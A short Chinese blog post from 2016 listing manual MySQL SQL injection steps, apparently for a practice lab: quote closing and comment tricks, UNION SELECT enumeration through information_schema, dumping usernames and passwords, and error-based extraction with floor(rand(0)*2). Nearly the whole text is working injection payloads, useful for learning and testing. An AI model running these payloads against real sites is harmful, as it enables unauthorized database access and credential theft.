mysql手工注入步骤

1.一般用 '  "  ) 等符号来闭合,再用%23(即#)来注释后面语句。

2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询。

union select 1,2,database()%23

3.利用information_schema库中tables这张表,查mysql数据库中的第一个表。

select table_name from information_schema.tables where table_schema='mysql' limit 0,1;

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23

4.利用information_schema库中columns这张表,查mysql数据库中user表中的第一列名。

select column_name from information_schema.columns where table_schema='mysql' and table_name='user' limit 0,1;

union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'%23

5.知道库名,表名,列名直接查数据了

union select 1,group_concat(username),group_concat(password) from users%23

6.当无回显时可利用报错大法(其他报错函数也行,可参考我另一篇博客)

select count(*),floor(rand(0)*2) x from information_schema.tables group by x;

错误报告中的'1'就是floor(rand(0)*2)的执行结果

爆mysql数据库中的第一张表名

select count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema="mysql" limit 0,1),0x7e,floor(rand(0)*2)) x from information_schema.tables group by x;

posted @ 2016-09-11 17:37  Dleo  阅读(8051)  评论(0编辑  收藏  举报